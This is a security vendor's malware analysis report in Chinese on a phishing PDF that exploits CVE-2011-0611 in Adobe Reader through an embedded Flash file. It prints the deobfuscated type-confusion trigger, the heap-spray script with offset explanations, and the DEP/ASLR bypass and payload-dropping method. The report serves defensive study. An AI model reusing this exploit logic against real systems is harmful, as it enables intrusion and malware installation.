“Breif introduction of Kim Jong-il”分析报告
发布时间:2012-01-18   作者:启明星辰

作者:启明星辰 newcenturysun

 

事件描述

 

最近黑客借由国外某领导人的逝世大做文章,利用社会工程学方式通过e-mail发送带有标题为“Breif introduction of Kim Jong-il”的pdf。据分析,该pdf文档利用了CVE-2011-0611漏洞,以下是详细的技术分析。

 


 

漏洞分析
  

打开Adobe Reader 9.4版本软件,使用OD软件附加到对应进程(AcroRd32.exe),打开相应的pdf文件。由于最终shellcode会释放一个exe文件,因此我们断在CreateFileA函数上,试图通过此找到shellcode的位置,并向上查找跳转到shellcode的地方。如图:

 


 
  

这里我们观察到此时的栈竟然变为了0c0c****开头的内存地址,这是一个典型的通过Heap Spray技术申请到的内存地址。但以往都是直接跳转到0c0c0c0c这样的地址,这里面却将栈换成了0c0c开头的地址。再跑一次,并用Alt+M键观察内存的变化,当有大量的内存被申请出来且覆盖了0c0c****这样的地址的时候,我们在相应的内存块内下内存访问和执行断点。看看是从哪里跳过来的。

 

 

如图我们看到此时0c0c0c0c处的内存,发现了大片的shellcode代码,我们在0c060000这个大小为1M的内存块上下断点(访问和执行),最后断到这里。

 


  

注意此时eax的值为0c0c0c0c,很熟悉的地址。再看看栈,没变成0c0c开头的地址。我们跟进去看看。这里调用的是0c0c0c0c+0x8处的地址,这里是一个bib.dll模块中的地址。至于为什么要这样后面会加以解释。


 

一句xchgeax,esp解开了我们之前的疑惑,这里shellcode将栈换了。好了,刚才那个Call dword [eax+8]无疑就是最终跳转到shellcode的地方了。向上查看eax的出处,发现eax是由edi指向的地址处的值来的。再继续追踪edi的地址规律,发现其总是指向一个堆偏移0x73D0处,该堆的大小为0x200000。位置一般在rt3d.dll模块和0x30000000地址之间。于是在申请内存的时候,仔细观察在这个区间内的大小为0x200000的内存块。

 

 

在申请到这块内存之后我们在对应的堆基地址+0x73D0处添加硬件写入断点和内存写入断点。

 

最后断到了这里

 


 

这里fstp是浮点运算。是把栈中的数值弹到eax指向的地址中。我们观察到这个时候栈中的数值为9.98586254339391e-316。弹出来后存储的值恰恰为0x0C0C0C0C。
 

 

再来观察观察出现问题的pdf文件,发现该pdf文件嵌入了一个swf文件。

 

 
该swf文件为压缩后的swf文件,我们把它的二进制代码弄出来然后使用SWF反编译工具反编译一下。

 

 
在反编译出来的代码中我们发现了熟悉的“0c0c0c0c”的身影。这里黑客使用了在一个swf中使用loadbytes方法加载另一个swf文件的方法触发漏洞。这里的t0,t1,t2,t3,t4便是内嵌的真正有问题的swf文件。我们把依旧把它弄出来,贴成二进制文件。然后反编译它。

 

反编译结果如下(部分截图)


这是反编译后的Action Script3 代码。这里有很多的混淆代码,我们需要去除混淆代码。如前面的代码:

push FALSE, 326943637, 326943739 //压入两个数

oldEquals// 比较结果是否相等,结果当然是不等
    not //取反,就是真
branchIfTrue label44 //如果真则跳转到label44
label44
  constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case', 'TextFormat', 'size', 'c_fun', 'VkduhgRemhfw1surwrw|sh', 'default', 'getSize', 'Gdwh1surwrw|sh', 'wwrsurw@w+th', 'getTextExtent', 'zwsw3surwrw+th', 'getDay', 'getFontList', 'TextField', 'Math', 'createEmptyMovieClip', 'this', 'IsRunning', 'setMode', 'LoadVars', 'getDepth', 'case ', ' case', 'Date', 'continue' 
这里将各种字符串存依次放在c:0,c:1…这样的“寄存器”中存储。之后出现branch label45,在label 45中直接跳转到了label1。
代码块一去混淆后如下:
frame 0
constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case', 'TextFormat', 'size', 'c_fun', 'VkduhgRemhfw1surwrw|sh', 'default', 'getSize', 'Gdwh1surwrw|sh', 'wwrsurw@w+th', 'getTextExtent', 'zwsw3surwrw+th', 'getDay', 'getFontList', 'TextField', 'Math', 'createEmptyMovieClip', 'this', 'IsRunning', 'setMode', 'LoadVars', 'getDepth', 'case ', ' case', 'Date', 'continue'
function2 default (r:2='') ()
push X_PROPERTY, UNDEF, X_PROPERTY, 'String'
new
setRegister r:3
pop
setRegister r:1
pop
setRegister r:1
pop
push r:1, r:2, 'length '
getMember
lessThan
not
branchIfTrue label20
push r:1, 1, r:2,'charAt'
callMethod
trace
push r:3, r:1, 1, r:2, c:2
callMethod
push 3
subtract
push 1, 'String'
getVariable
push c:3
callMethod
add
setRegister r:3
pop
push r:1
increment
setRegister r:1
pop
push r:1, r:2, 'length'
getMember
lessThan
not

label20:
push r:3

代码块一翻译之后其实是一个给字符串解密的函数,该函数实际上是将传入的字符串的每个字符值减3。用来解密wwrsurw@w+th,zwsw3surwrw+th'这样的字符串。
代码块二去混淆后如下:
push'case', X_PROPERTY, 'TextFormat'
new
varEquals
push 'Gdwh1surwrw|sh', 1, 'default', 'wwrsurw@w+th', 1, 'getTextExtent','case', 'zwsw3surwrw+th', 1, 'getTextExtent', 'case', 'case'
getVariable
push'size', 100
setMember
getVariable
swap
callMethod
pop
getVariable
swap
callMethod
pop
callFunction
getVariable
push'c_fun', 'VkduhgRemhfw1surwrw|sh', 1, 'default'
callFunction
getVariable
push'getSize'
getMember
setMember
push'Gdwh1surwrw|sh', 1, 'default'
callFunction
getVariable
push 'getDay'
function2 () (r:1='this')
push X_PROPERTY, r:this, 'c_fun'
callMethod
pop
简化后如下:
push 'Date.prototype'
getVariable
push 'c_fun', 'SharedObject.prototype'
getVariable
push 'getSize'
getMember
setMember
push 'Date.prototype'
getVariable
push 'getDay'
function2 () (r:1='this')
push 0, 1, r:this, 'c_fun'
callMethod
pop
end
代码块三去混淆后如下:
setMember
push X_PROPERTY, 'getFontList', 'TextField', 1, ‘Math’, 2, 'createEmptyMovieClip', 'this', 'IsRunning', 1, 'getTextExtent', 'case', 'setMode', 1, getTextExtent', 'case', 'LoadVars', 1, 'getTextExtent', 'case', 'getDepth', 1, getTextExtent', 'case', case ', X_PROPERTY, 'getDay', ' case', ' case', 9.98586254339391e-316, 1, 'Date', 'continue', 3.1415926, 1, 'Date'
varEquals
new
varEquals
getVariable
swap
callMethod
varEquals
getVariable
swap
callMethod
pop
getVariable
swap
callMethod
pop
getVariable
swap
callMethod
pop
getVariable
swap
callMethod
pop
getVariable
swap
callMethod
pop
getVariable
swap
callMethod
pop
最后简化为:
push 'continue', 3.1415926, 1, 'Date'
new
varEquals
push 'case', 9.98586254339391e-316, 1, 'Date'
new
varEquals
push 0, 'getDay', 'case'
getVariable
swap
callMethod
代码块二和三还原之后的代码如下:
Date.prototype.c_fun= SharedObject.prototype.getSize;
Date.prototype.getDay = function () {this.c_fun();};
var f:Date = new Date(9.98586254339391e-316);这里很熟悉的出现了我们之前看到的那个浮点数,该浮点数其实就是0C0C0C0C。
f.getDay();
实际上在调用f.getDay()的时候,相当于调用了SharedObject.prototype.getSize,在传入参数的时候,将传入的Data对象误认为是SharedObject对象,而9.98586254339391e-316在内存中是0x0C0C0C0C,导致直接将其当作虚表指针访问,造成访问异常。而0x0C0C0C0C是可以通过heap spray技术达到的地址。
之前我们看到的现象也是由于直接将0C0C0C0C直接当虚表指针访问了,并且其访问的是虚表的第三个函数也就是偏移8的位置的指针。

 

漏洞利用
  

在该pdf文档中,是用一大段脚本并通过heap spary技术来利用该漏洞的,我们来看看这段代码。

 
首先判断pdf软件版本,不同的版本有不同的策略。
if (ver>9.8)
{
while(1);
}
else
{ if(ver>9.7)
{
while(1);
}

else
{
if(ver>=9.404)
{
while(1);
}
else
{
fdsfas(unescape);
if(ver>=9.4)
{
sp940(fasdfsdfsdfasd);
saga4();
}
else if(ver>=9)
{

spray_heap9(fasdfsdfsdfasd);
saga1();
}
else if(ver>=8)
{
spray_heap7(fasdfsdfsdfasd);
saga2();
}
else if(ver>=7)
{
spray_heap7(fasdfsdfsdfasd);
saga3();
}
这里首先判断Adobe Reader的版本,对于不同的版本有不同的策略。我们使用的是Adobe Reader9.4作测试,所以只分析和这个版本有关的代码。

 
这里是将最终的shellcode解密。首先urpl函数会将代码中的“QQ”替换成%u,然后再将字符串进行unescape运算。
function asfasdfvcvcaszx(uuu){ ccc = aaa( urpl("%",vvv)+uuu+uuu );ccc+=ccc;} //拼凑成%u0C0C的字符串。
function asdffafasdf(){while (ccc.length + 20 + 8 < 65536) ccc+=ccc;}
//扩展0c0c的覆盖范围到64K左右。
function czbhjbhjczcm940(){ddd = ccc.substring(0, (0x0c0d-1-0x24));} //ddd取0xBE8个字节的0c0c。为什么这么取呢,因为是通过heap spray技术布置的shellcode,heap spray技术的主要工作就是“撒大网捕鱼”。这里的shellcode布置的地址需要为0c0c0c08。为了能捕到鱼,我们要将每个内存地址后四位为0c08的地方都布置上我们需要的shellcode。这里我们可以这么理解,0c0c-0x4-0x20(32个字节,也就是大内存块的Pool Header),另外在shellcode前部还有4个字节的0c0c,因此又减去了个4字节,这样正好使得shellcode代码布置到了0c08的位置。在shellcode偏移12字节的位置正好是BIB.dll的一个地址。
function czxbjzchjbnzccbn(){ddd += bbb;} //将shellcode放在0xBE8个0c0c后面
function yuasdgyufsdhjf(){ddd += ccc;} //在shellcode后面再加上64K左右的0c0c
function zxccbjzhjdfbhjasdfbhj(){eee = ddd["substring"](0, 65536/2);} //将ddd划分成64K的内存块
function ioafbjkasdfjkjk(){while(eee.length < 0x80001-1) eee += eee;} //再反复将该64k的内存块扩大到512K
function weuivzxzvzsafsdfagv(){fff = eee["substring"](0, 0x80001-1 - (0x1020-0x08) / 2);} //为了躲避堆数据结尾部分的附加数据,这里又略微缩小了内存块大小,最后内存块大概在509K左右
function afasfjkfasdasdfdf(){ggg = new Array();}  //new出一块内存
function fasfasfasfasdfsadfwrbgf(){for (hhh=0;hhh<0x1f1-1;hhh++) ggg[hhh]=fff+"s";} //在内存中填充已经布置好的内存块,并以字符s作结尾
  

根据堆分配策略,当堆的大小比较大的时候(比如512K这样的大内存块),就会启用大内存块的分配策略,在大内存块的头部会有32字节的Pool Header,另外在尾部会有一些附加数据,因此在布置shellcode内存块的时候要注意这些问题。
  

由于最后是调用了该虚表的第三个函数,也就是0c0c0c0c+8地址处的值作为函数指针。因此我们一定要保证该地址处的值为一个可用的地址。当然我们可以填充为0c0c0c0c附近的地址,比如0c0c0c18,也就是0c0c0c0c+0xc以后的地方。但这样会触发DEP执行保护;为了绕过DEP,黑客采用了return-to-libc方法绕过DEP保护,也就是找到AcroRd32.exe需要加载的系统的动态库,另外由于ASLR技术的存在,还需要找到没有使用ASLR技术的动态库。这里黑客选择了BIB.DLL。

我们来看看shellcode代码。

 
在0c0c0c0c+8的位置黑客找了这么一句代码的地址。直接交换了栈,将栈顶交换成了0c0c0c0c。之后在堆中开辟了一块空间,并将shellcode放在了该堆内存中,并执行。这里shellcode采用了一个巧妙的方法,直接调用KiFastSystemCall函数,调用该函数的时候直接eax作index,这里取eax的后16位,也就是0x0011,查一下index=0x11,正好是NtAllocateVirtualMemory函数。 

 

申请到的内存写到0x10100的地址里面。然后从该地址读出申请到的堆内存地址,并向该地址写入后续的shellcode用于释放,执行病毒文件等。

 

在堆中释放的后续shellcode,该段shellcode继续将后面的代码拷贝过来并解密。
  

这里有个难题由于exe是隐藏在pdf文件里面的,shellcode想把里面的exe读取出来必须要知道当前打开的pdf文件句柄,这里shellcode又展现了一个很不错的读取自身文件的方法,因为文件句柄一定是4的整数倍,因此它依次传给GetFileSize或ReadFile句柄0x4,0x8,0xC,并比较返回值和返回的文件大小,文件特征码等等信息,通过“暴力猜解”的方式获取当前打开的pdf文件句柄。

 


获取到了当前打开的pdf文件句柄之后,读取pdf文件尾部的cmd命令行。之后从pdf文件的末尾分块读出经过加密的PE文件并解密。

 

 


再从加密的PE文件后面读取出加密的pdf文件并解密,释放为Brief Introduction of Kim Jong-il.pdf并打开,以避免用户察觉。该pdf是无毒的pdf文件。

文章来源:http://www.venustech.com.cn/
  • 公司总部 | 分支机构 | 法律声明 | 投资者关系 | 400-624-3900 800-810-6038
  • © 启明星辰1996-2015 版权所有 京ICP备05032414号 京公网安备11010802024551号